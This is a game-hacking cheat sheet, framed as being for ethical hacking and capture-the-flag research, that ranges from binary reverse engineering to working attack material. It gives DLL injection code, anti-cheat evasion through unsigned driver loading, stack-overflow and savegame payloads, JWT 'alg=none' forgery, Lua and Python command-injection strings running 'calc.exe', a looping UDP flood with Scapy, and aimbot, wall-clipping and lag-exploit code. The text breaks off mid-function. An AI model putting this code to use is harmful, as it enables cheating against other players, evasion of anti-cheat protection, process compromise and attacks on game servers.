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modular, offensive game hacking cheat sheet for ethical hacking, reverse engineering, and CTF research covering everything from memory exploits to anti-cheat evasion.

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Game Hacking Cheat Sheet

Welcome to the definitive guide for game hacking. This repository compiles advanced techniques, tools, and strategies for dissecting and manipulating games, intended strictly for authorized testing, education, and Capture The Flag (CTF) research.

This cheat sheet is structured for developers, security researchers, and reverse engineers. Unauthorized use is unethical and may violate laws or terms of service.


Table of Contents


Recon and Static Analysis

Unravel game internals with these elite static analysis techniques.

Core Techniques

  • Run strings, binwalk, hexdump on binaries: Extract plaintext, embedded files, and hex patterns for initial insights.
  • Reverse .exe / .dll with Ghidra, IDA, or Binary Ninja: Decompile to pseudocode or assembly; leverage FLIRT signatures for known libraries (e.g., Unity, Unreal SDKs).
  • Map main(), WinMain(), or game loops: Trace entry points and core logic flows in disassemblers.
  • Extract debug symbols from .pdb / .dbg files: Recover function names, variables, and call stacks using DIA SDK.
  • Analyze sections (.text, .rdata, .data, .reloc, .bss): Identify code, strings, globals, relocations, and uninitialized data.
  • Identify calls to GetAsyncKeyState, memcmp, strstr: Locate input handling and string comparison routines.
  • Search internal function names via strings / RTTI: Exploit runtime type info or plaintext leaks to map logic.
  • Enumerate imports with rabin2 -i or LIEF: List DLL dependencies and hooked APIs.
  • Check linked libraries (DirectX, Mono, Vulkan): Detect frameworks for rendering, scripting, or physics.

Deep Dive and Expansion

Static analysis is often underutilized—maximize it with advanced correlation and metadata extraction.

Binary Forensics

  • Use radare2:

    aaaa   # Auto-analysis  
    izz    # Extract strings  
    iS     # Check section entropy
  • Entropy Mapping:

    • Identify packed/encrypted regions using binwalk -E or EntropyGUI
    • High entropy (>7.0) suggests obfuscation

Cross-Platform Analysis

  • Mach-O (macOS):

    • Use otool -lV for load commands
    • Use jtool2 for Objective-C metadata
  • ELF (Linux):

    • Run readelf -Ws for dynamic symbols
    • Use patchelf to modify interpreters

Obfuscation Breakers

  • Symbol Recovery: Parse stripped .pdb files using DIA SDK

  • RTTI Exploitation: Rebuild C++ vtables in IDA using RTTI::CompleteObjectLocator

  • Code Cave Detection:

    for seg in Segments():
        if SegName(seg) == ".text":
            for func in Functions(seg, SegEnd(seg)):
                size = GetFunctionAttr(func, FUNCATTR_END) - func
                if size > 5000:
                    print("Potential cave at:", hex(func), "Size:", size)
  • CRC Check & Anti-Tamper Tracing:

    • Look for mov eax, ds:CRC_TABLE, xor ecx, [ptr], etc.
  • PDB Symbol Leeching:

    • Use Microsoft Symbol Servers (symsrv) to pull symbols from related builds
  • Embedded Scripting Engine Detection:

    • Look for: PyRun_SimpleString, lua_pcall, duk_eval_string

Real-World Metadata Recon

  • PE Authenticode Signature Diffing:

    sigcheck.exe -q -m  
    osslsigncode
  • Language / Compiler Fingerprinting:

    • Use binlex, lief, or retdec
Pattern Origin
SEH frames MSVC (Visual Studio)
il2cpp::vm:: calls Unity IL2CPP
UFunction::ProcessEvent Unreal Engine

Ghidra Headless Automation

./analyzeHeadless project_dir project_name -import target.exe -postScript ExtractStrings.java -deleteProject

Obfuscation and Packing Detection Matrix

Obfuscation Technique Detection Method Tool(s)
UPX / Common Packers Strings entropy, section size binwalk, die, upx -t
VMProtect / Themida .text entropy > 7.3, jmp chains PEiD, Detect It Easy
Unity IL2CPP + Metadata global-metadata.dat presence Il2CppDumper, IDA Pro
Custom XOR / Rijndael High-entropy strings, XOR loops radare2, capstone, Unicorn
Lua Bytecode / JIT 1B 4C 75 61 (Lua header) luadec, lua-dis

Game-Specific Recon Signatures

Engine Recon Target Indicator / Signature
Unity (Mono) Assembly-CSharp.dll, MonoBehaviour Public classes, IL2CPP strings
Unreal (UE) UObject::GObjects, GNames 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
CryEngine CrySystem.dll, CryEntitySystem.dll CEntity::Update() in IDA
Source client.dll, engine.dll CreateMove, PaintTraverse
GameMaker *.yy, *.yyp, GameMakerUI.dll InitGameObject, ObjectSetLayer

Asset Recon (Deep Reverse)

  • Unity:

    • Use AssetRipper or AssetStudio to extract textures, classes
    • Analyze global-metadata.dat, libil2cpp.so for IL2CPP mappings
  • Unreal Engine:

    • Dump GObjects, GNames, UClass hierarchy using CE Table or SDK Generator
    • Patch Engine.ini:
      [Core.Log]
      LogNet=Verbose
      LogNetTraffic=VeryVerbose
  • Browser/WebGL Titles:

    • Use wasm-decompile, wasm2wat, Chrome DevTools
    • Hook eval, Function, WebAssembly.instantiateStreaming

Advanced Techniques

  • Capstone + Unicorn: Emulate decryption logic (e.g., XOR loops)
  • LLVM IR Analysis: Use RetDec to lift binaries to LLVM IR
  • Custom Signatures: Build FLIRT sigs for FMOD, PhysX, etc. using Ghidra

Engine Recon Automation (Unity, Unreal, etc.)

Understanding and automating engine-level reconnaissance is critical for every red teamer, cheat dev, or reverse engineer. Each modern engine (Unity, Unreal, CryEngine, etc.) provides predictable metadata, method tables, and memory layouts that you can scan, dump, or script around for massive leverage.


Goals of Engine Recon

  • Automatically locate key game logic (health, damage, abilities, inventory)
  • Identify functions to hook or patch
  • Map scripting engines (Mono, Lua, IL2CPP)
  • Dump class hierarchies (e.g. Player, Entity, Ability)
  • Locate rendering functions, timers, or input handlers
  • Script cheat tables or Frida hooks dynamically

Unity Engine (Mono / IL2CPP)

Identifying Unity Games

File Indicators:

  • UnityPlayer.dll, global-metadata.dat, Assembly-CSharp.dll
  • Directory: /Managed/, /Data/, /MonoBleedingEdge/
  • Presence of il2cpp_data/ for IL2CPP builds

Memory Indicators:

strings -n 10 game.exe | grep "UnityEngine"

UnityVersion tags in binary or Player.log.


Mono Runtime Recon

Steps:

  • Attach Cheat Engine or MonoMod tools
  • Go to Mono → Activate Mono Features
  • Use Dissect Mono to list all classes and methods
  • Hook method using mono_findMethod

Auto-dumper:

local c = mono_enumDomains()
for _, domain in pairs(c) do
    local assemblies = mono_enumAssemblies(domain)
    for _, asm in pairs(assemblies) do
        print("Assembly:", mono_getAssemblyName(asm))
    end
end

IL2CPP Automation

Tools:

  • Il2CppDumper (CLI/GUI)
  • IDA Plugin: Il2CppInspector
  • ScyllaHide + CE for live memory scans

Process:

  1. Dump global-metadata.dat + GameAssembly.dll
  2. Run:
Il2CppDumper GameAssembly.dll global-metadata.dat output/
  1. Look for key class mappings: Player::TakeDamage, Inventory::AddItem, etc.

Bonus:

  • Use IDA Pro + FLIRT to auto-rename IL2CPP methods
  • Create .sig from Unity 2021.3 base headers for auto-tagging

Unreal Engine Recon (UE3/UE4/UE5)

Identifying Unreal Games

Static Indicators:

  • UE4Game.exe, UE5Game.exe, GEngine.dll, UnrealPak.exe
  • .pak files in /Content/ or /Paks/
  • UObject, UFunction, FString patterns in memory

Runtime Signatures:

Target AOB Signature
GObjects 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
GNames 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
ProcessEvent E8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ??

Use pymem + AOB scan or CE Lua script to resolve dynamically.


Auto SDK Generation

Use UE4 SDK Generator:

UE4Dumper.exe -pid <target_pid> -dump

Generates: Classes.hpp, Offsets.hpp, Functions.cpp

Load in IDA to cross-ref symbols and write your own internal ProcessEvent() hook.


Auto Object Dumper (Python + pymem)

from pymem import Pymem

pm = Pymem("game.exe")
gobjects = pm.read_int(0x12345678)  # Found via sig scan
for i in range(1024):
    obj_ptr = pm.read_int(gobjects + i * 4)
    name = pm.read_string(obj_ptr + 0x18)
    print(f"[+] Object {i}: {name}")

GNames and GObjects Pattern Script in IDA or Ghidra

# Ghidra - find GNames
pattern = b"\x48\x8B\x05"
findBytes(currentProgram, pattern)

UE4 .ini Logging Hack (Optional)

Enable rich logging for network or events:

[Core.Log]
LogNet=VeryVerbose
LogNetTraffic=VeryVerbose
LogOnline=VeryVerbose

Also enable:

[/Script/Engine.RendererSettings]
r.DebugDraw = 1

WebAssembly and Browser Recon via WebGL

Static and Runtime Tools

  • wasm-decompile (binaryen)
  • wasm2wat (WABT)
  • Chrome DevTools → Memory panel → WebAssembly.Instance.exports
  • Hook WebAssembly.instantiateStreaming

Instrumentation Example (DevTools Console)

const original = WebAssembly.instantiate;
WebAssembly.instantiate = async function(buffer, importObj) {
    console.log("[+] Hooked WASM instantiate");
    return original.call(this, buffer, importObj);
};

Or use:

Function = new Proxy(Function, {
    apply(target, thisArg, args) {
        console.log("Eval:", args[0]);
        return Reflect.apply(...arguments);
    }
});

.wasm Mapping

  • wasm-decompile
  • radare2 -AA file.wasm
  • ghidra_wasm_plugin

Reverse-engineer exports: Identify heal(), moveTo(), attack().


Lua Engine Recon

What to Hook

  • lua_getglobal, lua_setglobal, lua_pcall
  • Enumerate Lua stack and global table
int n = lua_gettop(L);
lua_pushnil(L);
while (lua_next(L, LUA_GLOBALSINDEX)) {
    printf("%s\n", lua_tostring(L, -2));
    lua_pop(L, 1);
}

Dynamic Lua Hijacking (Frida)

Interceptor.attach(Module.findExportByName("lua_pcall"), {
    onEnter(args) {
        console.log("Calling Lua:", args[1]);
    }
});

Tools to Include

Engine Tool Purpose
Unity Il2CppDumper, AssetRipper Dump C# classes, metadata
Unreal UE4Dumper, SDK Gen Generate headers, locate hooks
WebGL wasm-decompile, DevTools Export analysis, JS interop
Lua Frida, LuaJIT tools Dump globals, hook logic

Engine-Specific Signatures

Use these indicators to fingerprint game engines and enable targeted reversing strategies.

Engine Indicator Signature / Pattern
Unity (IL2CPP) global-metadata.dat, libil2cpp.so .data section with metadata blob
Unity (Mono) Assembly-CSharp.dll IL code; browse via dnSpy / dotPeek
Unreal Engine UObject::GObjects, GNames 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
CryEngine CrySystem.dll, CEntity::Update() Export table symbols or IDA auto-analysis
Godot .gd scripts, main_loop strings Custom bytecode and scene structure patterns

Obfuscated Binary Detection and Unpacking

High-Entropy Sections (VMProtect, Themida, Enigma)

binwalk -E target.exe

IL2CPP Metadata Fingerprint (Unity)

with open("global-metadata.dat", "rb") as f:
    header = f.read(4)
    if header == b"\xAF\x1B\xB1\xFA":
        print("[+] IL2CPP Metadata Detected")

Unpacking VMProtect / Themida

  • Identify loader stub (jmp short, jmp dword ptr fs)
  • Trace decrypt stub via x64dbg + ScyllaHide
  • Dump real .text from memory using Scylla
  • Rebuild IAT with PE-bear or x64dbg IAT Rebuilder

C and C++ RTTI and Symbol Salvage

// IDA script: Recover class names
auto rtti = get_rtti_struct(ea);

Dynamic Memory Analysis

Master real-time memory manipulation with these professional-grade methods.

Core Techniques

  • Attach Cheat Engine, x64dbg, or Frida: Monitor live processes with breakpoints and value scans.
  • Scan/Freeze In-Memory Values: Lock health, ammo, or gold by finding and freezing addresses.
  • Trace "What Writes to Address": Locate opcodes modifying key variables (e.g., player stats).
  • Heap Spray Tracing: Monitor allocations during crafting or spawning for overflow targets.
  • Dynamic Import Resolution: Hook LoadLibrary/GetProcAddress to log runtime DLL calls.
  • Hook/Detour with Frida: Inject custom logic into game functions dynamically.
  • Use ReClass.NET: Reverse-engineer memory structures (e.g., player class pointers).
  • Hook DirectX/OpenGL: Overlay ESP/aimbot visuals by intercepting render calls.
  • Trace Memory Maps: Use /proc//maps (Linux) or VirtualQueryEx (Windows) to chart layouts.
  • Monitor Telemetry: Sniff heartbeat timers or uploads with Process Monitor/Wireshark.

Deep Dive

Flip bits in real-time with these advanced tactics.

Next-Level Techniques

  • Time Travel Debugging (TTD): Record execution with WinDbg Preview TTD, rewind to trace variable origins.
  • Heap Feng Shui: Force predictable heap layouts with controlled allocations (e.g., spray 0x1000-byte objects).
  • Frida Stalker:
    Stalker.follow({
      events: { compile: true },
      onReceive: function (blocks) { console.log(blocks); }
    });
  • DirectX/OpenGL Hooking:
    • RenderDoc: Capture frames to reverse shaders.
    • VTable Hooking: Swap IDXGISwapChain::Present for ESP overlays.
  • Kernel-Mode Monitoring: Use Intel Processor Trace (PT) via perf (Linux) or WinDbg kernel debugging.

Advanced Live Tactics

  • Frida Heap Tracker:
    Interceptor.attach(Module.getExportByName(null, "malloc"), {
      onEnter: function (args) {
        this.size = args[0].toInt32();
      },
      onLeave: function (retval) {
        if (this.size == 0x500) {
          console.log("[*] Large allocation at: " + retval);
        }
      }
    });
  • Shadowing Game Logic: Identify duplicate structs (e.g., player_data vs. player_shadow) in ReClass.NET to exploit state management.
  • Dynamic Function Pointer Dispatch:
    var base = ptr("0x400000");
    Memory.scan(base, 0x100000, "?? ?? ?? ?? ?? ?? ?? ??", {
      onMatch: function (address, size) {
        if (!address.readPointer().isNull()) {
          console.log("VTable candidate at:", address);
        }
      }
    });
  • Continuous Memory Map Correlation: Track allocation deltas with VirtualQueryEx (Windows) or diff /proc//maps (Linux).
  • Snapshot-Diffing: Take memory dumps at different states and compare with pymem, pydiff, or Rust scanners.
  • Memory Breakpoint Watch:
    • Cheat Engine: Right-click → "Find out what writes to this address"
    • x64dbg:
      bp access mem 0xDEADBEEF size 4 r/w

Advanced Techniques

  • Intel PIN: Instruction-level tracing for fine-grained analysis.
  • Memory Allocator Hooks: Intercept malloc/HeapAlloc to track allocations.
  • Custom Scanners: Build memory scanners in Rust for cross-platform efficiency.

Heap Spraying

List<GameObject> spray = new List<GameObject>();
for (int i = 0; i < 10000; i++) {
  spray.Add(new GameObject("HeapObject" + i));
}

Frida: Hooking malloc and free

Interceptor.attach(Module.getExportByName(null, 'malloc'), {
  onEnter(args) {
    this.size = args[0].toInt32();
  },
  onLeave(retval) {
    if (this.size > 1024) {
      console.log(`[+] Allocated: ${this.size} bytes at ${retval}`);
    }
  }
});

Live Allocation Tracker

Interceptor.attach(Module.getExportByName(null, "operator new"), {
  onEnter: function (args) {
    this.sz = args[0].toInt32();
  },
  onLeave: function (retval) {
    console.log("[+] new() size:", this.sz, " -> ", retval);
  }
});

Memory Map Diffing

Linux:

cat /proc/<pid>/maps

Windows:

VirtualQueryEx(hProc, address)

Dynamic Function Discovery via Frida

Module.enumerateRanges('r-x').forEach(range => {
  Memory.scan(range.base, range.size, '55 8B EC', {
    onMatch(addr) {
      console.log("[*] Function prologue at:", addr);
    }
  });
});


Recommended Tools

Purpose Tool
Heap Tracing Frida, Valgrind (Linux)
Structure Reversing ReClass.NET
Frame Capture RenderDoc, PIX
Runtime Instrumentation Frida, Intel PIN
Live Scanning pymem, Rust+WinAPI


Advanced Cheat Engine Usage

Cheat Engine (CE) is a powerful reverse engineering and memory editing tool, far beyond just scanning for health or ammo. Below is a modular breakdown to push CE into red team and CTF-grade use.


Tools Needed

  • Cheat Engine (latest build)
  • Custom driver (signed or unsigned)
  • Windows x64 target (Unity, Unreal, Mono, etc.)
  • Optional: Frida / x64dbg / ReClass.NET

1. Pointer Path Tracing (Multilevel Pointer Maps)

In modern games, static addresses don’t last — you must trace pointers.

Manual Pointer Walk:

[game.exe+0x02F41B90] → 0xDEADBEEF → +0x10 → Health

Steps:

  • Scan for health
  • Right-click → “What accesses this address”
  • Use “Pointer scan” → “Find path to value”
  • Reboot and validate

Auto Pointer Lookup via Lua:

local base = readPointer("game.exe+0x02F41B90")
local health = readInteger(base + 0x10)
print("Health:", health)

2. Code Injection w/ Auto Assembler

Patch game logic or build trainers.

Example: Health Freeze:

[ENABLE]
alloc(newmem,2048)
label(return)

newmem:
  mov [eax+10],#999
  jmp return

"game.exe"+123456:
  jmp newmem
return:

Bonus:

  • Use jmp short vs jmp near based on distance (5-byte near patch)

AOBScan for ASLR-Busting

Use signatures to find injection sites dynamically.

[ENABLE]
aobscanmodule(INJECT_AOB,game.exe,89 54 24 10 8B 45 ??)
alloc(newmem,2048,"game.exe")
label(return)

newmem:
  nop
  nop
  jmp return

INJECT_AOB:
  jmp newmem
return:

Good AOB tips:

  • Unique, short patterns
  • Avoid excessive wildcards
  • Grab from IDA/CE memory viewer

CE Mono Framework (Unity Games)

Interact directly with Mono-based Unity games.

Steps:

  • Attach → Mono → Activate Mono Features
  • Use “Dissect Mono” to inspect class/methods

🔧 Hook a Unity Method (Lua):

local method = mono_findMethod("Assembly-CSharp", "Player", "TakeDamage")
print("TakeDamage at:", string.format("0x%X", method.address))

Lua Scripting for Runtime Cheats

CE’s Lua API enables real-time memory editing and trainers.

F6 Hotkey to Refill Ammo:

function refillAmmo()
  writeInteger("[game.exe+0x1A2B3C4]", 999)
end

createHotkey(refillAmmo, VK_F6)

Add via Table → Show Cheat Table Lua Script


Anti-AntiCheat Stealth Tactics

CE is detectable — use these strategies:

Signature Evasion:

  • Rename executable
  • Hex-edit PE headers
  • Strip metadata/version info

PEB Unlinking:

dbk_writesIgnoreWriteProtection(true)

Use Stealth Edit Plugin:

  • Avoid global hooks
  • Inline memory edits

Driver Tricks:

  • Custom dbk64.sys
  • Load unsigned via KDMapper or Test Mode

Code Cave Injection

Patch unused memory space for full logic.

Steps:

  • Search for 00 00 00 00 in .text or .data
  • Inject your logic
  • JMP from game code to cave
alloc(cave, 512, "game.exe+0x123456")

CE and Frida Hybrid Debugging

Combine CE scanning + Frida hooks:

Use CE for:

  • Live struct discovery
  • Memory validation

Use Frida for:

  • Internal function hooking
  • Argument manipulation
Interceptor.attach(ptr("0xDEADBEEF"), {
  onEnter(args) {
    args[0] = ptr(999);
  }
});

Injection and Cheat Code

Inject cheats with surgical precision using these elite methods.

Core Techniques

  • Classic LoadLibrary Injection:

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    LPVOID addr = VirtualAllocEx(hProc, NULL, strlen(dllPath)+1, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProc, addr, dllPath, strlen(dllPath)+1, NULL);
    CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, addr, 0, NULL);
  • Manual Mapping: Bypass detection with stealth injection (e.g., GH Injector).

  • Inline Hooks:

    Original:
    MOV EAX, [EBP+8]
    CALL GameFunction
    
    Hooked:
    JMP HookFunction
    NOP
  • VMT Hooking:

    DWORD* vTable = *(DWORD**)player;
    DWORD original = vTable[5];
    vTable[5] = (DWORD)&MyFunction;
  • .text Cave Injection: Hide code in unused executable sections.

  • CreateRemoteThread: Inject into suspended processes silently.

  • IAT/EAT Patching: Redirect import/export tables to custom functions.

  • Hook Direct3D EndScene()/Present(): Render ESP overlays.

  • Shellcode in Heap: Inject small stubs for minimal footprint.

  • SetWindowsHookEx: Capture keyboard/mouse input globally.


Stealth Injection

  • Process Hollowing: Replace svchost.exe with game binary using NtUnmapViewOfSection + ZwMapViewOfSection.
  • Vectored Exception Handling (VEH): Hijack execution flow via AddVectoredExceptionHandler.
  • Reflective DLL Injection: Load DLLs from memory without touching disk.

Advanced Injection Strategies

Technique Method Use Case
.text Cave Injection Inject in unused code section High stealth
VEH Hook Trigger via exception handler Reflective injection
TLS Callback Run code before main() in PE Pre-initialization
IAT Patching Redirect imports (e.g., MessageBoxA) Function hijacking
Discord Overlay Hijack DLL sideload via overlay Bypass anti-cheat
  • eBPF Hooking (Linux): Attach probes to kernel syscalls for stealth.
  • PTrace Injection (Android): Modify running code using PTRACE_POKETEXT.

Exploitation Techniques

Uncover deep exploit pathways in both client and server components of modern games. Includes memory corruptions, logic flaws, protocol fuzzing, and weaponized savegame/asset injections.

Local Memory Exploits

Classic memory corruption bugs, still common in native engine modules, mods, or legacy games.

Stack Buffer Overflow in C and C++

void parse_chat(char *msg) {
  char buf[128];
  strcpy(buf, msg); // 💥 Vulnerable: No bounds check
}

Exploit Payload:

payload = b"A" * 132 + b"\xDE\xAD\xBE\xEF"
send_to_game_chat(payload)

Heap Overflow in Item Parser

void read_item(FILE *f) {
  char *buf = malloc(64);
  fread(buf, 1, 128, f); // 💥 Heap overflow
}

Heap Spray + UAF:

  • Use crafted .inv file.
  • Reallocate freed memory with attacker-controlled structure.

Savegame Exploits

Modern games often parse custom .sav, .json, or .bin save formats.

Target Areas:

  • Long strings (names, chat, inventory)
  • Embedded scripting fields
  • Reused legacy fields (e.g., Lua in old engines)

Save Exploit Example:

{
  "playerName": "A" * 1024 + "\u0041\u0041\u0041\u0041",
  "inventory": [{"item": "sword"}]
}

Execution Vector: If parsed with strcpy() or loaded into memory without bounds check, leads to RCE.

Tools: Radamsa, AFL++, zzuf, boofuzz, custom grammar fuzzers

Remote and Server-Side Exploits

Game backends often expose vulnerable APIs or real-time logic bugs.

API Parameter Tampering

POST /api/shop/buyItem
{
  "itemId": "super_legendary_sword",
  "price": 1
}

If price is only enforced client-side → free legendary loot.

Test With: Burp Suite, mitmproxy, Python requests

JWT Token Forgery

import jwt
token = jwt.encode({"user": "admin"}, "wrongkey", algorithm="HS256")

Works if backend accepts unsigned or improperly verified tokens.

alg=none Bypass:

{
  "alg": "none",
  "typ": "JWT"
}

Use: jwt.io, pyjwt, or node-jose.

Logic Exploits

  • Cooldown Tampering: Send multiple "cast spell" packets in quick succession.
  • Currency Race Conditions: Double-purchase via parallel POSTs.

Use ffuf, Intruder, or Python asyncio spammer.

Network and Protocol Exploits

Low-level network attacks can crash or take control of networked games.

UDP Fuzzing with Scapy

from scapy.all import *

payload = b"A" * 1024
pkt = IP(dst="192.168.1.15")/UDP(dport=27015)/payload
send(pkt, loop=1, inter=0.01)

Targets:

  • Legacy engine netcode (e.g., Source Engine)
  • Poorly written packet parsers (e.g., Protobuf over UDP)
  • Desync crashes in P2P engines (e.g., RakNet, Unity LLAPI)

Custom Protocol Reversing

Use Wireshark + custom dissectors to reverse:

  • Encryption schemes
  • Opcode IDs (RPCs)
  • Frag/ack logic in UDP game protocols

Combine with:

  • binwalk for packet structure
  • boofuzz to fuzz packet fields

Asset-Based RCE (Texture, Music, Map Files)

Games that load external assets (like .png, .mp3, .pak) via third-party libraries can be exploited via:

  • Malicious PNGs → libpng overflows
  • Malformed MP3 → libmad parsing flaws
  • Malicious .bsp or .pak → custom scripting hooks

Injected file triggers buffer overflows or logic flaws in parser.

Use: Peach Fuzzer, Fuzzino, or custom asset generators

Exploit Examples Matrix

Technique Target Description / Payload
Stack Overflow Local buffer strcpy() → overwrite return address
Savegame Injection Client-side RCE Craft .sav to trigger memory corruption
JWT Forgery Backend auth bypass alg=none or wrong key → admin access
Parameter Tampering Game API Buy top-tier items for 0 coins
Packet Fuzzing Multiplayer engine Oversized or malformed UDP packets
Race Condition Abuse Crafting/shop Double-purchase exploit with async flood
Script Injection Lua-enabled titles "name": "x'); os.execute('calc.exe') --"
Malicious Asset File Texture/audio/map Triggers in vulnerable parsers (e.g., libpng)

Advanced: Smart Contract and Game Logic Hacking

For blockchain-based games:

  • Replay signed transactions (double spend)
  • Injected logic via proxy contract manipulation
  • Abuse poorly-written game logic

Example:

function upgradeWeapon(uint weaponId, uint cost) {
  require(balance[msg.sender] >= cost); // no actual deduction
  weaponLevel[weaponId]++;
}

Exploit: Weapon can be upgraded indefinitely.

Toolchain for Exploit Research

Purpose Tools
Savegame Fuzzing Radamsa, AFL++, Boofuzz
Protocol Reversing Wireshark, Scapy, Ghidra
Live Memory Analysis Cheat Engine, Frida, ReClass.NET
Backend Exploits Burp Suite, Postman, mitmproxy
JWT Manipulation pyjwt, jwt.io, node-jose
File Format Exploits Binwalk, Peach Fuzzer, zzuf
Multiplayer Spamming ffuf, python-requests, asyncio tools

Replay System Hacking

Modern games often implement deterministic replay systems that log input, entity states, and timestamps to re-simulate gameplay. These replay files (.dem, .replay, .json, etc.) can be:

  • Reverse-engineered to extract telemetry
  • Modified to inject arbitrary input or manipulate the outcome
  • Exploited if the engine blindly trusts replay content
  • Used for offline aimbot training, analytics, or forensic attack reconstruction

Replay Formats by Engine-Game

Game / Engine Format Notes
CS:GO / Source .dem Proprietary binary log of commands/events
Rocket League .replay JSON-packed protobuf with physics frames
Overwatch .replay Zstd-compressed binary
StarCraft II .SC2Replay MPQ archive with Battle.net metadata
Fortnite / UE .replay Unreal's internal DemoNetDriver format
Dota 2 .dem (Source 2) Similar to CS:GO but Source 2 enhancements

Reverse Engineering Replay Formats

General Steps

  • Identify structure (text, binary, protobuf, zlib, zstd?)
  • Use binwalk or xxd to inspect entropy and boundaries
  • Load into HexFiend, Ghidra, or write a custom parser

CS:GO Replay (.dem) Parsing

Tools: demoinfo2, CSGO-Demo-Parser, SourceDemoTool
Events include: svc_PacketEntities, svc_GameEvent, svc_TempEntities
Cheat use-case: Extract tick-perfect player behavior

Rocket League Replay Modding

  • JSON + protobuf + Zlib
  • Tools: BakkesMod, ReplayParser, Python decoder
  • Modify: PlayerInput (throttle, boost), PhysicsFrames (teleport, trajectory)

Exploitable Replay Logic (RCE and Logic Abuse)

Exploit Deserialization RCE

{
  "player_name": "__import__('os').system('calc.exe')"
}

Affected engines: Python-based, Unity with insecure JSON


Exploit Replay Re-Execution Abuse

eventQueue = {
  { tick=32, action="GiveGold(9999999)" },
  { tick=48, action="CastSpell('killall')" }
}

Hijack scripting logic in Lua/Unreal mod games


Exploit Server Replay Import Vulnerability

zip --junk-paths sc2.dmp ../AppData/Local/Blizzard/token.txt

Upload replay in web UI → leaks internal token


AI Bot Training via Replay Data

for tick in replay['frames']:
    model.learn(tick['player_pos'], tick['enemy_pos'], tick['aim_angle'])

Tools: PyTorch, YOLOv7, TensorRT, Keras-RL


Replay Corruption Use-Cases

Use Case Technique
Wallhack Showcase Alter player coordinates mid-replay
Fake Tournament Footage Modify match outcome
Anti-Cheat Fingerprinting Trace events to identify bans
Match Outcome Reversal Inject impossible scores or goals
Engine Crash PoC Upload malformed replays

Tools and Libraries

Tool Language Target Game
demoinfo2 C# CS:GO
RLBotParser Python Rocket League
UEReplayReader C++ Fortnite/Unreal
MPQEditor Windows StarCraft II
BakkesMod C++ Rocket League
PySC2 Python SC2 AI training

Replay Manipulation Example (Rocket League)

import zlib, json

with open("game.replay", "rb") as f:
    raw = f.read()

data = zlib.decompress(raw[16:])  # Skip header
replay = json.loads(data)

for frame in replay["Frames"]:
    for p in frame["PlayerData"]:
        p["Boost"] = 1.0

new_data = json.dumps(replay).encode()
compressed = zlib.compress(new_data)

with open("modded.replay", "wb") as f:
    f.write(raw[:16] + compressed)

Red Team Use-Cases

  • Phishing (malicious replays)
  • Telemetry tracking across demos
  • Replay Trojan loading malicious paths

Defense andf Mitigation

Weakness Defense
Replay Deserialization Strict schema, no dynamic eval
Script Injection Filter commands, sandbox replay engine
Replay Import Abuse Path sanitization, auth ACLs
DoS Payloads Limit frame count/size
Client Trust Replay Validate against server logs

Aimbots - Clipping and PvP Lag Exploits for PC and Console

This section delves into weaponized automation, physics manipulation, and lag-based game logic abuse in competitive multiplayer contexts. These techniques simulate adversarial behavior to enhance defensive strategies and understand vulnerabilities in game systems.


What This Covers

Area Technique Class Description
Aimbots Screen, Memory, AI Automate targeting of enemies with precision.
Clipping Memory, Physics Patching Bypass collision to move through objects.
Lag Exploits Network Interference Manipulate latency to disrupt PvP interactions.

Aimbot Typologies

Type Source Detection Risk Platform
Memory Aimbot Entity memory High (Anti-Cheat) PC only
Pixel Aimbot Screen/Color Low-Medium PC/Console
AI Aimbot Neural Vision Low PC/Console
Input-Based Aim Controller Feed Very Low Console+PC

Memory-Based Aimbot (PC)

import math

RAD_TO_DEG = 180 / math.pi

def calculate_angle(my_pos, enemy_pos):
    delta = enemy_pos - my_pos
    yaw = math.atan2(delta.y, delta.x) * RAD_TO_DEG
    pitch = math.atan2(-delta.z, math.sqrt(delta.x**2 + delta.y**2)) * RAD_TO_DEG
    return pitch, yaw
void aim_at_target(DWORD base, Vector3 my_pos, Vector3 enemy_pos) {
    float pitch, yaw;
    calculate_angle(my_pos, enemy_pos, &pitch, &yaw);
    writeFloat(base + view_angles_offset, yaw);
    writeFloat(base + view_angles_offset + 4, pitch);
}

Pixel-Based Aimbot (PC and Console)

import pyautogui
import cv2
import numpy as np

def find_target():
    screenshot = pyautogui.screenshot()
    frame = np.array(screenshot)
    mask = cv2.inRange(frame, (200,0,0), (255,50,50))  # Red enemy box
    loc = np.where(mask > 0)
    if loc[0].size > 0:
        target = list(zip(*loc[::-1]))[0]
        pyautogui.moveTo(target[0], target[1])
def smooth_aim(current, target, speed=0.1):
    dx = (target[0] - current[0]) * speed
    dy = (target[1] - current[1]) * speed
    return current[0] + dx, current[1] + dy

AI Aimbot (Neural Targeting)

import torch

model = torch.hub.load('ultralytics/yolov5', 'yolov5s')
def aim_at_enemies(frame):
    results = model(frame)
    targets = results.pandas().xyxy[0]
    if not targets.empty:
        target = targets.iloc[0]
        center_x = (target['xmin'] + target['xmax']) / 2
        center_y = (target['ymin'] + target['ymax']) / 2
        adjust_aim(center_x, center_y)
from filterpy.kalman import KalmanFilter

kf = KalmanFilter(dim_x=4, dim_z=2)
kf.predict()
kf.update([measured_x, measured_y])

Console Aimbot (External)

#include <Joystick.h>

void aim_and_shoot(int x_offset, int y_offset) {
    Joystick.move(x_offset, y_offset);
    Joystick.pressButton(FIRE_BUTTON);
    delay(100);
    Joystick.releaseButton(FIRE_BUTTON);
}

Clipping (Wall Phasing and Map Glitches)

void disable_collision(DWORD player_ptr) {
    *(bool*)(player_ptr + collision_enabled_offset) = false;
}
bBlockingHit = false;  // Ignore collisions

Server-Side Teleport Desync

iptables -A OUTPUT -p udp --dport 27015 -j TEE --gateway 127.0.0.1
tc qdisc add dev lo root netem delay 600ms

PvP Lag Exploits

Interceptor.attach(Module.findExportByName("ws2_32.dll", "sendto"), {
    onEnter(args) {
        let packet = args[1];
        if (is_combat_packet(packet)) {
            Thread.sleep(600);
        }
    }
});
tc qdisc add dev eth0 root tbf rate 100kbit latency 50ms burst 1540
from scapy.all import *

def drop_damage_packets(pkt):
    if UDP in pkt and pkt[UDP].dport == 27015:
        if is_damage_received(pkt.load):
            return False
    return True

sniff(filter="udp", prn=drop_damage_packets, store=0)
DWORD WINAPI fake_tick_count() {
